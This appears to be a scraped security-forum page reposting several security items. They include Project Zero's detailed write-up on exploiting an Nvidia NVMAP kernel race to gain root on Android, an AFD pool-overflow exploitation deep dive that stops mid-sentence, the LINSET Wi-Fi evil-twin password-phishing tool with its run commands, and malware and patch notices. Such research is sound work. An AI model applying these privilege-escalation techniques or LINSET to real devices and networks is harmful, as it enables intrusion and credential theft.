Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa. Set the value of the registry key to: “RunAsPPL”=dword:00000001. Restart the computer. To enable LSA protection using Group Policy Open the Group Policy Management Console (GPMC). Create a new GPO that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed. Right-click the GPO, and then click Edit to open the Group Policy Management Editor. Expand Computer Configuration, expand Preferences, and then expand Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to SYSTEM\CurrentControlSet\Control\Lsa. In the Value name box, type RunAsPPL. In the Value type box, click the REG_DWORD. In the Value data box, type 00000001. Click OK. Mimikatz bypassing LSA Protection: Sursa: http://adsecurity.org/?p=1275

Dyre Infection Analysis by Alexander Hanel 2014/11/24 Version 1.0 alexander.hanel@gmail.com Executive SummaryIntroduction Family Name Propagation Sample Analyzed Installation Stage 1 stage 2 Stage 3 Stage 4 Stage 5 Stage 6 Stage 7 General Details and Functionality Persistence Registry Service Run Key Dropped Files Service Pipes Mutex Functionality Overview Enumerating processes Process Injection Host IP Retrieval VNC Commands & Configurations Commands & Configurations Error Codes Hooks FireFox Hooks Internet Explorer Hooks Chrome Hooks AntiDetection functionality Disabling RapportGP Command and Control Third Party Resources URLs & IPs Network Traffic Patterns Appendix: Strings Stage 6 Dyre Stage 7 Injected Process Third Party Analysis Executive Summary This document is an analysis of the Dyre banking malware. It is intended to aid in understanding how Dyre executes and interact with the operating system. The targeted audience is malware analyst, reverse engineers, system administrators, incident responders and forensic investigators. Hopefully an individual investigating an incident could use this document to determine if the infection is Dyre or not. Introduction Dyre is banking trojan that first was first seen in June of 2014. In terms of banking malware the family is rather recent. Most organizations and email providers have been hit with a spam campaigns that either links to an exploit kit that drops Drye or have been sent an email with a zip attachment that contains a Dyre executable. This document cover features of the Dyre that I found interesting. Due to the size of the code not all features are covered. The sample I originally started with was an older sample. Newer samples that dropped a service crashed in Download: https://bytebucket.org/Alexander_Hanel/papers/raw/1c41fd1ed30cdd060d18ceddb2d2e52db5134e45/Dyre-Analysis.pdf

Privilege EscalationviaOracle Indexes David Litchfield [david.litchfield@datacom.com.au] 21st January 2015 © Copyright Datacom TSS Datacom TSS Introduction To speed up querying of large datasets most database servers allow table data to be indexed. InOracle, in order to be able to create an index on a table, the user must either own the table, orhave the INDEX object privilege on the table, or have the CREATE ANY INDEX systemprivilege. If a user has either of these privileges, then a security hole is opened up whereby theycan execute arbitrary SQL as the owner of the table by creating a function-based index on thetable. If the table in question is owned by a highly privileged user such as SYS or SYSTEM thenthe database server becomes dangerously exposed as it provides the attacker the ability to fullycompromise the system.The PUBLIC role has (in the past) been granted the INDEX privilege on the following tables,product and options dependant: SYS.DUAL SYS.OLAPTABLEVELS SYS.OLAPTABLEVELTUPLES SYSTEM.OLAP_SESSION_CUBES SYSTEM.OLAP_SESSION_DIMS SYSTEM.PLAN_TABLE FLOWS_FILES.WWV_FLOW_FILE_OBJECT$ TOAD.TOAD_PLAN_TABLE Download: http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf

OpenSSL 1.0.2 The Open Source toolkit for Secure Sockets Layer and Transport Layer Security on GNU/Linux OpenSSL is an open source command-line project based on the excellent SSLeay library created by Tim J. Hudson and Eric A. Young. It is designed as a feature-rich, sturdy and professional-grade toolkit that implements the Secure Sockets Layer (SSL version 2 and 3) and Transport Layer Security (TLS version 1) protocols. Implements a full-strength, general purpose cryptography library OpenSSL can also be used to implement full-strength, general purpose cryptography library, which can be used to create RSA, DSA and DH key parameters, X.509 certificates, CRLs and CSRs, calculate message digests, encrypt and decrypt files with ciphers, handle encrypted email or S/MIME signs, as well as SSL/TLS client and server tests. Integrates numerous commands Numerous commands have been integrated in the OpenSSL toolkit, which are available from its shell prompt. It includes standard, message digest or cipher commands, such as asn1parse, aes-128-cbc, pkeyutl, sha, sha1, md5, md4, rmd160, mdc2, aes-256-cbc, cast5-cbc, camellia-128-cbc, camellia-256-cbc, des-ofb, rc2, bf-cfb, seed, rc4-40, prime, pkcs8, ocsp, enc, dsa, srp, x509, spkac, nseq, crl, s_time, rsa, pkcs7 and crl2pkcs7. It’s managed by a worldwide community of volunteers At the moment, the OpenSSL project is in active development with regular releases. It’s managed by a community of volunteers from all over the world, who use the Internet to plan and develop this extraordinary project that helps us communicate more securely. Supports a wide-range of GNU/Linux operating systems The OpenSSL toolkit is supported on a wide-range of GNU/Linux operating system, including Debian, Ubuntu, Red Hat Enterprise Linux, CentOS, Fedora, Mageia or openSUSE. It’s available for download from its official website or via Softpedia as a source archive that allows you to configure, compile and install the program on any distribution. It can also be easily installed from the default software channels of your Linux distro, supporting both 32-bit and 64-bit architectures. Reviewed by Marius Nestor, last updated on January 23rd, 2015 Sursa: Download OpenSSL 1.0.2 for Linux - Softpedia

LINSET - WPA/WPA2 Hack Without Brute Force Lydecker Black on 7:03 PM How it works Scan the networks. Select network. Capture handshake (can be used without handshake) We choose one of several web interfaces tailored for me (thanks to the collaboration of the users) Mounts one FakeAP imitating the original A DHCP server is created on FakeAP It creates a DNS server to redirect all requests to the Host The web server with the selected interface is launched The mechanism is launched to check the validity of the passwords that will be introduced It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password. The attack will stop after the correct password checking Are necessary tengais installed dependencies, which Linset check and indicate whether they are installed or not. It is also preferable that you still keep the patch for the negative channel, because if not, you will have complications relizar to attack correctly How to use $ chmod +x linset $ ./linset Download LINSET Sursa: LINSET - WPA/WPA2 Hack Without Brute Force | KitPloit

Pentru cei care nu stiu despre ce e vorba: Faceti update la Flash Player!

Adobe has released an advisory regarding an out of band security update for Flash, APSB15-02 1. It is a fix for CVE-2015-0310, which is reserved but for which there is little additional information at the NIST or Mitre sites. Most likely this is the previously reported 0day 2. There are reports that this vulnerability is actively being exploited, and that it is part of a crimeware kit. This would be a highly recommended patch! If you have the Adobe Flash Player installed apply the update. All versions on all platforms appear to be vulnerable. 1- Adobe Security Bulletin 2- https://isc.sans.edu/forums/diary/Flash+0Day+Exploit+Used+by+Angler+Exploit+Kit/19213/ Cheers, Adrien de Beaupré Intru-shun.ca Inc. My SANS teaching schedule Sursa: https://isc.sans.edu/forums/diary/OOB+Adobe+patch/19217/

https://rstforums.com/forum/86639-master-security-bucuresti.rst?highlight=master+sric

Thursday, January 22, 2015 Exploiting NVMAP to escape the Chrome sandbox - CVE-2014-5332 Posted by Lee Campbell, Graphics Pwning Unit [This guest post continues Project Zero’s practice of promoting excellence in security research on the Project Zero blog] Background: Chrome for Android implements a very different sandbox model to that of Chrome for Linux. One of the platform features we make use of is enabled with the android:isolatedProcess attribute on the <service> tag in the app manifest. The docs say: android:isolatedProcess If set to true, this service will run under a special process that is isolated from the rest of the system and has no permissions of its own. The only communication with it is through the Service API (binding and starting). Under the covers this places the specified Android Service into a more restrictive SELinux policy and is what Chrome uses for its renderer processes. All is good so far. Back in September I decided to take a look at how ‘isolated’ this isolatedProcess actually is, and specifically look at the kernel attack surface. As it turns out access to the GPU drivers is not blocked and this blog is the story of exploiting Nvidia’s NVMAP driver on the Nexus 9... What is the NVMAP driver? It’s used for GPU memory management on Nvidia’s Tegra chipsets. It’s used in many Android devices and more recently Chromebooks. You can find the driver code used in the Arm64 Nexus 9 here and the fix is here. Nvidia were very responsive and released an upstream fix within a matter of days—they have recently released their bulletin CVE-2014-5332. Some internals: The entry point is /dev/nvmap with rw-rw-rw- permissions making it accessible by all. There are a number of IOCTLs used to control this driver and they’ll be our focus for exploitation. NVMAP_IOC_CREATE: This ioctl is used to create handles and returns a file descriptor. Handles are allocated globally and stored in struct nvmap_handle. struct nvmap_handle { struct rb_node node;/* entry on global handle tree */ atomic_t ref;/* reference count (i.e., # of duplications) */ atomic_t pin;/* pin count */ u32 flags;/* caching flags */ ... Local client references are maintained by this struct: struct nvmap_handle_ref { struct nvmap_handle *handle; struct rb_nodenode; atomic_tdupes;/* number of times to free on file close */ atomic_tpin;/* number of times to unpin on free */ }; The following code is used to create this structure and allocate the file descriptor. int nvmap_ioctl_create(struct file *filp, unsigned int cmd, void __user *arg) { struct nvmap_create_handle op; struct nvmap_handle_ref *ref = NULL; struct nvmap_client *client = filp->private_data; int err = 0; int fd = 0; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; if (!client) return -ENODEV; if (cmd == NVMAP_IOC_CREATE) { ref = nvmap_create_handle(client, PAGE_ALIGN(op.size)); if (!IS_ERR(ref)) ref->handle->orig_size = op.size; } else if (cmd == NVMAP_IOC_FROM_ID) { ref = nvmap_duplicate_handle(client, unmarshal_id(op.id), 0); } else if (cmd == NVMAP_IOC_FROM_FD) { ref = nvmap_create_handle_from_fd(client, op.fd); } else { return -EINVAL; } if (IS_ERR(ref)) return PTR_ERR(ref); fd = nvmap_create_fd(client, ref->handle); if (fd < 0) err = fd; //POINT A op.handle = fd; if (copy_to_user(arg, &op, sizeof(op))) { //POINT B err = -EFAULT; nvmap_free_handle(client, __nvmap_ref_to_id(ref)); } if (err && fd > 0) sys_close(fd); return err; } On successful completion the handle->ref count is 2: one reference held by our client, and one reference held by the DMA subsystem that provided the file descriptor in nvmap_create_fd. This call always returns fd’s starting at 1024, so we can predict them. When the fd returned by the ioctl is closed by user-space the DMA subsystem releases its reference. When the fd to /dev/nvmap is closed the client releases its reference. Once the reference count equals zero the handle structure is free’ed. The bug: If the copy_to_user at point B were to fail then nvmap_free_handle will destroy the client reference and the handle->ref count will drop to 1. sys_close will then be called on the fd and this will release the DMA reference, reducing the handle->ref count to 0 and freeing it. This is the correct operation and no resources are leaked. However, the copy_to_user can be forced to fail by providing a userspace address in Read-Only memory, so the client reference will always be free’ed. Unfortunately a race condition exists at point A where a second user thread can dup(1024) and acquire another handle to the DMA subsystem. Recall fd’s are allocated predictably starting at 1024. This is an easy race to win! The function will continue to call sys_close and return failure. sys_close in this case will not release the DMA reference as user-space now has another handle. Ok that’s great, what now? When operating correctly, two references are held to the handle. Due to triggering the race above, there is now only one. This is a nice state for an attacker as userspace now has a reference to a handle that it can free asynchronously at any time, e.g., during another ioctl call. To trigger the free’ing of the handle struct, userspace can call close() on the dup’ed fd. So now we can free on demand, can we break stuff? This is tricky, we need to win more races. ;-) The ioctl calls take the fd as a reference to the handle. In this case the dup’ed fd can be used to perform operations on the handle in the kernel. Here is an example ioctl: int nvmap_ioctl_getid(struct file *filp, void __user *arg) { struct nvmap_create_handle op; struct nvmap_handle *h = NULL; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; h = unmarshal_user_handle(op.handle); //POINT C if (!h) return -EINVAL; h = nvmap_handle_get(h); //POINT D if (!h) return -EPERM; op.id = marshal_id(h); nvmap_handle_put(h); //POINT E return copy_to_user(arg, &op, sizeof(op)) ? -EFAULT : 0; } Most ioctl’s follow this pattern: unmarshal_user_handle - to convert the fd to the address of the handle nvmap_handle_get - this grabs a reference, incrementing handle->ref Do some work nvmap_handle_put - this drops the reference, decrementing handle->ref [*] Although userspace can now asynchronously (in another thread) decrement the handle->ref count and cause a free by calling close there is only a small window to do this. [*] At point C the handle must be valid and close can not be called before this point (or NULL will be returned) [*] At point D another reference is taken on the handle and calling close will not decrement the count to zero, so handle will not be free’ed until point E. [*] So the only place corruption can occur is if userspace frees the handle between points C and D. This race is much more tricky to win as very little happens between these two points. [*] Its made harder as to advance this exploit an attacker not only needs to free the handle but also needs to allocate something controllable in its space. As a result most of the ioctls do not provide enough time between unmarshal_user_handle and nvmap_handle_get to set up an exploitable condition. NVMAP_IOC_RESERVE to the rescue: There is only one viable ioctl where I could generate enough time to create an exploitable condition. The IOC_RESERVE ioctl can be seen here (lots of checks removed for clarity): int nvmap_ioctl_cache_maint_list(struct file *filp, void __user *arg, bool is_reserve_ioctl) { struct nvmap_cache_op_list op; u32 *handle_ptr; u32 *offset_ptr; u32 *size_ptr; struct nvmap_handle **refs; int i, err = 0; if (copy_from_user(&op, arg, sizeof(op))) return -EFAULT; refs = kcalloc(op.nr, sizeof(*refs), GFP_KERNEL); if (!refs) return -ENOMEM; handle_ptr = (u32 *)(uintptr_t)op.handles; offset_ptr = (u32 *)(uintptr_t)op.offsets; size_ptr = (u32 *)(uintptr_t)op.sizes; for (i = 0; i < op.nr; i++) { u32 handle; if (copy_from_user(&handle, &handle_ptr, sizeof(handle))) { err = -EFAULT; goto free_mem; } refs = unmarshal_user_handle(handle); //POINT F if (!refs) { err = -EINVAL; goto free_mem; } } if (is_reserve_ioctl) //POINT G err = nvmap_reserve_pages(refs, offset_ptr, size_ptr, op.nr, op.op); free_mem: kfree(refs); return err; } In this ioctl unmarshal_user_handle is in a loop (point F), which must be completed before the handles are used at point G. The iteration count, and therefore the time spent in the loop, is user-controlled. This can be made fairly large (around 4k) to provide enough time to set up the attack. ref[0] is set to the dup’ed fd. The rest of the refs[] are set to point another fully valid fd (created without the dup race). They can all be the same. While the loop spins ref[0] can be free’ed in another thread at point G. Now we have a stale pointer that is about to be used! nvmap_reserve_pages is then called and is shown here: int nvmap_reserve_pages(struct nvmap_handle **handles, u32 *offsets, u32 *sizes, u32 nr, u32 op) { int i; for (i = 0; i < nr; i++) { u32 size = sizes ? sizes : handles->size; u32 offset = sizes ? offsets : 0; if (op == NVMAP_PAGES_RESERVE) nvmap_handle_mkreserved(handles, offset, size); else nvmap_handle_mkunreserved(handles,offset, size); } if (op == NVMAP_PAGES_RESERVE) nvmap_zap_handles(handles, offsets, sizes, nr); return 0; } By setting op != NVMAP_PAGES_RESERVE nvmap_handle_mkunreserved is called on each handle. This is a NoOp for all handles except handle[0] which has been free’ed. nvmap_handle_mkunreserved is shown here along with its helper functions: static inline void nvmap_handle_mkunreserved(struct nvmap_handle *h, u32 offset, u32 size) { nvmap_handle_mk(h, offset, size, nvmap_page_mkunreserved); } static inline void nvmap_page_mkunreserved(struct page **page) { *page = (struct page *)((unsigned long)*page & ~2UL); } static inline void nvmap_handle_mk(struct nvmap_handle *h, u32 offset, u32 size, void (*fn)(struct page **)) { int i; int start_page = PAGE_ALIGN(offset) >> PAGE_SHIFT; int end_page = (offset + size) >> PAGE_SHIFT; if (h->heap_pgalloc) { for (i = start_page; i < end_page; i++) fn(&h->pgalloc.pages); } } This code uses the pointer h->pgalloc.pages stored in the handle struct. This points to an array of pointers. This array is iterated through and bit two of each pointer is cleared. start_page and end_page are user controlled so the number of pages can be controlled and easily set to one. As the handle has been free’ed there is a momentary opportunity to allocate attacker controlled data in its place and control h->pgalloc.pages This would allow an attacker to clear bit 2 of any word in the system. A lot of work for a single bit clear but I’ll take it Heap groom: The handle struct is 224 bytes and is allocated with kzalloc. This puts it in the 256-kmalloc heap. An attacker needs to find something that allocates quicky, is around 256 bytes long and has controllable content. Seccomp-bpf provides such a facility in the form of seccomp-bpf programs (or filters). I picked seccomp as I use it a lot, but there are many other things in the kernel you could pick. Allocating a filter (sized around 256 bytes) at point G will hopefully reallocate over the free’ed handle struct. The filter is invalid so it is immediately free’ed by seccomp-bpf but its contents will remain long enough for the attack to succeed. So now we control the pointer to a single bit clear! What bit to clear? We now need to find a single bit in the kernel that will provide privilege escalation. Arm64 does not protect its kernel text sections and they are writable by the kernel itself. As such the kernel can modify its own code. So I looked for a nice instruction to modify. Here is a partial disassembly of setuid (Arm64 on the Nexus 9) ffffffc0000c3bcc: 528000e0 mov w0, #0x7 ffffffc0000c3bd0: f9400821 ldr x1, [x1,#16] ffffffc0000c3bd4: f9424034 ldr x20, [x1,#1152] ffffffc0000c3bd8: 97ffcd8f bl ffffffc0000b7214 <nsown_capable> ffffffc0000c3bdc: 53001c00 uxtb w0, w0 //Point H ffffffc0000c3be0: 35000280 cbnz w0, ffffffc0000c3c30<SyS_setuid+0xa8>//POINT I ffffffc0000c3be4: b9400680 ldr w0, [x20,#4] ffffffc0000c3be8: 6b0002bf cmp w21, w0 and the C version: SYSCALL_DEFINE1(setuid, uid_t, uid) { // [.....] retval = -EPERM; if (nsown_capable(CAP_SETUID)) { //POINT J new->suid = new->uid = kuid; if (!uid_eq(kuid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } else if (!uid_eq(kuid, old->uid) && !uid_eq(kuid, new->suid)) { goto error; } // [....] return commit_creds(new); error: abort_creds(new); return retval; } If we can make the condition at point J return non-zero then it would be as if the processes has CAP_SETUID and the attacker could call setuid(0) and elevate to root. The asm code at point H is where this condition is evaluated. uxtb w0,w0 just extends the byte value in w0 to a full word and stores it back in w0 At point I the branch is taken if w0 is non-zero, this is the branch the attacker would like to take to gain privilege. The byte code for uxtb w0,w0 is 0x53001c00. Using the clear bit primitive from above we can change this word to 0x51001c00. This results in the new instruction sub w0,w0,#7. Now w0 will contain the non-zero value -7 and it will appear as if CAP_SETGID is set. Now we just call setuid(0) and we are root. Easy as that! Winning the race: There are a number of races in this attack and the probability of success (i.e., them all landing perfectly) is quite low. That said, a lose is non-fatal (for the most part) so an attacker can just keep trying until setuid(0) returns success. On a real system this attack takes many thousands of attempts but usually gains root in less than 10 seconds. Posted by Chris Evans at 12:01 PM Sursa: http://googleprojectzero.blogspot.ro/2015/01/exploiting-nvmap-to-escape-chrome.html

NU. Mergi la SRIC (Securitatea Retelelor Informatice Complexe) la Poli. Citeste conditiile lor de admitere: intri acolo, nu mai iesi, esti sclavul lor. Daca vor sa te trimita la Suceava, mergi acolo, tot felul de cacaturi. Cauta pe forum ca postasem eu mai multe despre asa ceva.

Oare cand o sa dispara porcaria asta de Flash? Pacat ca sunt inca o gramada de site-uri care folosesc asa ceva...

Klaus Iohannis

O sa mai dureze ceva pana iese de la Samsung. Si-a mai instalat cineva?

CVE-2012-0148: A Deep Dive Into AFD Posted by Tarjei Mandt This week, Microsoft addressed two vulnerabilities in the Ancillary Function Driver (AFD) that could allow non-privileged users to elevate their privileges to SYSTEM. In this blog entry, we look at one of the patched vulnerabilities and demonstrate practical exploitability against x64 Windows 7 using the techniques presented at INFILTRATE 2011 on modern kernel pool exploitation. Introduction The Ancillary Function Driver (AFD) is the kernel management layer of the Windows Sockets interface. As with many other popular operating systems, Windows and AFD manages network connection endpoints as sockets. The socket paradigm was adapted for Windows in Windows Sockets 1.1, and supported the most basic functionality traditionally found in BSD. The main goal behind this design was to make it easy for Unix developers to port their existing network aware applications to the Windows platform. Microsoft later introduced the Windows Sockets 2 architecture, compliant with the Windows Open System Architecture. Winsock 2.0 defines a standard service provider between the application programming interface (API), with its functions exported from WS2_32.dll and the protocol stacks. This allows Winsock 2.0 to support multiple transport protocols, whereas Winsock 1.1 is limited to TCP/IP only. Over the Winsock standard, Windows also includes additional extensions to primarily enhance performance (e.g. TransmitFile) and conserve use of memory and processing such as in providing the ability to reuse sockets (e.g. supported by ConnectEx and AcceptEx). Winsock Architecture The Winsock architecture is divided into a user-mode and kernel-mode layer. At the highest level, applications interact with the Windows Sockets API (ws2_32.dll), which offer familiar functions such as bind, listen, send, and recv. These functions call into a suitable provider, either defined by the system or by an application. For instance, VMCI sockets can be used by VMware virtual machines to communicate with other virtual machines. Here, the VMCI provider (installed by VMware Tools) calls in to the VMCI socket library (vsocklib.dll) which then calls into the VMCI driver (vmci.sys) responsible for managing and calling out to the host/other virtual machines. Similarly, Windows registers a provider for the Winsock API (mswsock.dll) for its natively supported protocols such as TCP and UDP. Winsock then operates through the Ancillary Function Driver (afd.sys) to perform the necessary socket management and callouts to TCP/IP. Although the networking architecture in Windows changed notably in Windows Vista, the way applications interact with the Windows Sockets API and their interaction with AFD remains largely the same. Winsock Architecture Socket Management The Ancillary Function Driver, or afd.sys, is responsible for creating and managing socket endpoints in Windows. Internally, Windows represents a socket as a file object, with additional attributes defined to keep track of state information such as whether a connection has been established or not. This allows applications to use standard read and write APIs on socket handles to access and transmit network data. When AFD is first initialized, it creates the AFD device (in turn accessed by Winsock applications) and sets up the associated driver object IRP handlers. When an application first creates a socket, the IRP_MJ_CREATE routine (afd!AfdCreate) is called to allocate an endpoint data structure (afd!AfdAllocateEndpoint). This is an opaque structure that defines every unique attribute of each endpoint as well as the state it is in (e.g. whether it is connecting, listening, or closing). AFD functions operating on the endpoint structure (e.g. the send and receive functions) will typically validate the endpoint state before proceeding. Additionally, a pointer to the endpoint data structure itself is stored in the FsContext field of the socket file object such that AFD can easily locate the socket management data. AFD also keeps track of all endpoints through a doubly linked list (afd!AfdEndpointsList), such as for determining whether an address has already been bound. The majority of the functionality found within AFD is accessed through the device I/O control handler. AFD also provides fast device I/O control routines in order to service requests which can be satisfied directly from the cache manager and don’t require an IRP to be generated. AFD will attempt to use the fast I/O dispatch routines whenever possible, particularly when reading and writing network data. However, in some situations where more extensive processing is needed, it will fall back to the regular IRP-based mechanism. An example of this is whenever the size of a datagram exceeds 2048 bytes, or when a connection (endpoint) isn’t in the expected state. When looking at functions in AFD, particularly those called by the dispatch I/O control routine, it is important to pay attention to the validation being made immediately to the request. In fact, looking over most functions in AFD, one may repeatedly notice validation (compares) against constants such as 0xAFD0, 0xAFD1, 0xAFD2, and so on. These are constants describing the state of the active socket endpoint/connection and are stored in the very first 16-bit field of the endpoint data structure. For instance, 0xAFD1 indicates an endpoint representing a datagram socket while 0xAFD0, 0xAFD2, 0xAFD4, and 0xAFD6 indicate endpoints representing TCP sockets in various states. AFD!AfdPoll Integer Overflow Vulnerability (CVE-2012-0148) The Windows Sockets API allows applications to query the status of one or more sockets through the select function. These requests are handled internally by the AFD.SYS driver in the afd!AfdPoll function (internally calls afd!AfdPoll32 or afd!AfdPoll64 depending on the process that made the I/O request), and are processed whenever the AFD device is issued the 0×12024 I/O control code. This function processes a user-supplied poll information (AFD_POLL_INFO) buffer that contains all the records (AFD_HANDLE) for the sockets to query. The definitions of these structures are listed below (based on ReactOS). [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]typedef struct _AFD_HANDLE_ {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content] SOCKET Handle;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content] ULONG Events;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content] NTSTATUS Status;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content]} AFD_HANDLE, *PAFD_HANDLE;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]typedef struct _AFD_POLL_INFO {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content] LARGE_INTEGER Timeout;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]9[/TD] [TD=class: content] ULONG HandleCount;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]10[/TD] [TD=class: content] ULONG Exclusive;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]11[/TD] [TD=class: content] AFD_HANDLE Handles[1];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]12[/TD] [TD=class: content]} AFD_POLL_INFO, *PAFD_POLL_INFO;[/TD] [/TR] [/TABLE] Upon receiving this data, AFD calls afd!AfdPollGetInfo to allocate a second buffer (from the non-paged pool) to aid in storing information returned as the individual sockets are queried. Specifically, each AFD_HANDLE record is denoted its own AFD_POLL_ENTRY record in this internal buffer structure (which we call AFD_POLL_INTERNAL).We describe these opaque structures as follows. [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]typedef struct _AFD_POLL_ENTRY {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content] PVOID PollInfo;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content] PAFD_POLL_ENTRY PollEntry;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content] PVOID pSocket;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content] HANDLE hSocket;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content] ULONG Events;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]} AFD_POLL_ENTRY, *PAFD_POLL_ENTRY;[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]9[/TD] [TD=class: content]typedef struct _AFD_POLL_INTERNAL {[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]10[/TD] [TD=class: content] CHAR Unknown[0xB8];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]11[/TD] [TD=class: content] AFD_POLL_ENTRY PollEntry[1];[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]12[/TD] [TD=class: content]} AFD_POLL_INTERNAL, *PAFD_POLL_INTERNAL;[/TD] [/TR] [/TABLE] Before processing the user-supplied buffer (AFD_POLL_INFO) to query each individual socket, afd!AfdPoll ensures that the buffer is large enough to fit the number of records indicated by the HandleCount value. If the size is too small, the function returns with an insufficient size error. While this prevents user-mode code from passing bogus HandleCount values, it does not account for the fact that the size of the records allocated internally by the AfdPoll function exceeds that of the provided poll information buffer. For instance, on Windows 7 x64 the size of an AFD_HANDLE entry is 0×10 bytes, while the size of the corresponding entry allocated internally (AFD_POLL_ENTRY) is 0×28. An additional 0xB8 bytes is also added to store metadata used internally by the poll function. With enough entries, this difference may lead to a condition where AFD sufficiently validates the poll information buffer passed in from user-mode, but triggers an integer overflow when calculating the size of the internal buffer. Integer Overflow in AfdPoll64 Once the function proceeds to query each individual socket and fill in their respective AFD_POLL_ENTRY records of the undersized buffer, a pool overflow occurs as the original HandleCount value is used to determine the number of records to be processed. Exploitability The security impact of a vulnerability is in many ways tied to its exploitability. In order to assess the exploitability of the described vulnerability, we need to understand both the conditions under which the vulnerability is triggered as well as how the affected module interacts with system components such as the kernel pool allocator. In order to trigger the vulnerability, we first need to allocate enough memory to ensure that the multiplication/constant addition results in an integer overflow. This is because AFD internally validates the size of the user provided buffer by dividing it by the size of each record (AFD_HANDLE) to see if the supplied count (HandleCount) is consistent. On x64 (Win7), 0×6666662 elements are enough to cause a wrap, meaning that a user-mode buffer of size 0×10 + (0×6666662 * 0×10) is required to be passed to the driver. This translates to 1638MB which furthermore needs to be cached in an internal kernel buffer by the I/O manager as the affected IOCTL uses METHOD_BUFFERED. On x86 (Win7), a user-mode buffer of size 0×99999970 (((0×100000000 – 0×68 / 0×14) * 0xC) – 0×10) has to be allocated. As this is only feasible in /3GB configurations, and the kernel needs an equivalent amount of memory to be cached, we don’t consider this vulnerability to be practically exploitable on 32-bit systems. As the vulnerability results in an out-of-bounds copy to an undersized pool allocation, sufficient knowledge about the pool allocator and its inner workings is also needed. When dealing with pool overflows, one of the most important questions that comes up is whether the attacker is able to limit the number of elements that are written outside the allocated buffer. As the kernel pool is used globally by the system, any memory corruption could potentially affect system stability. In the most frequent case, the vulnerable code will use the count value that was initially used to cause the integer overflow and thus copy elements until an invalid page is hit either in the source or destination buffer. As both buffers are allocated in kernel-mode (METHOD_BUFFERED has already cached the user provided buffer), we cannot rely on unmapped pages to terminate the copy if say the buffer was passed in directly from user-mode. However, there are also cases where validation is enforced on each copied element, which may allow the attacker to terminate the copy arbitrarily (e.g. see the vulnerabilities discussed in “Kernel Pool Exploitation on Windows 7”). In the vulnerable function, AFD copies the user-supplied AFD_POLL_INFO structure to an internal and potentially undersized buffer allocation. This internal structure is later on processed by the same function when querying the status of each individual socket. Before each AFD_HANDLE entry (embedded by the AFD_POLL_INFO structure) is copied to the internal buffer, afd!AfdPoll64 calls ObReferenceObjectByHandle to validate the socket handle and retrieve the backing file object of each respective entry. If the validation fails, the function terminates the copy operation and ignores the remaining entries. In the context of exploitation, this becomes very valuable as we can terminate the pool overflow at the granularity of the size of an internal record structure (sizeof(AFD_POLL_ENTRY)). Socket Handle Validation At this point, we know that we can limit the overflow at 0×28 boundaries. We also know that we can overflow the size of the internal buffer structure because we control n in size = 0xB8 + (n * 0×28). The next task then becomes to find a suitable target of the overflow. For this particular bug, we leverage the PoolIndex attack as described in “Kernel Pool Exploitation on Windows 7”, and overflow the pool header of the next pool allocation. In order to do this reliably, we have to do two things. Manipulate the kernel pool such that reliable and predictable overwrites can be achieved. Find a suitable size to allocate such that we overflow just enough bytes to corrupt the adjacent pool header. Finding the desired size essentially depends on the allocation primitives we have at our disposal. Since the pool overflow is in the non-paged pool, we ideally want to use APIs that allow us to allocate and free memory arbitrarily from this resource. One possibility here is the use of NT objects. In fact, the worker factory object (created in NtCreateWorkerFactory) is of particular interest to us because on our target platform (Windows 7 x64), the size of this object is 0×100 bytes (0×110 including the pool header). By providing the AfdPoll64 function with an AFD_POLL_INFO structure and a HandleCount value of 0×6666668, we can cause the size of the internal buffer allocation to overflow and result in a 0xF8 byte allocation. When rounded up to the nearest block size by the pool allocator, the internal buffer will be 0×100, the same size as the worker factory object. This way, we can manipulate chunks of 0×100 bytes in order to position the buffer allocated by AFD to be positioned next to a chunk that we control. When we trigger the overflow, we copy only two chunks to the internal buffer structure. We do this by providing an invalid socket handle as the third AFD_HANDLE entry. The first record is copied to offset 0xB8 of the internal buffer (whose size is now 0×100), while the second record begins at 0xE0. Because each AFD_POLL_ENTRY record is actually 0×24 bytes in size (padded to 0×28 for alignment), we overflow 4 bytes into the next pool allocation. Specifically, we overflow into the pool header bits (nt!_POOL_HEADER), enough to mount the pool index attack. We fully control the first four bytes in the pool header because the Events value 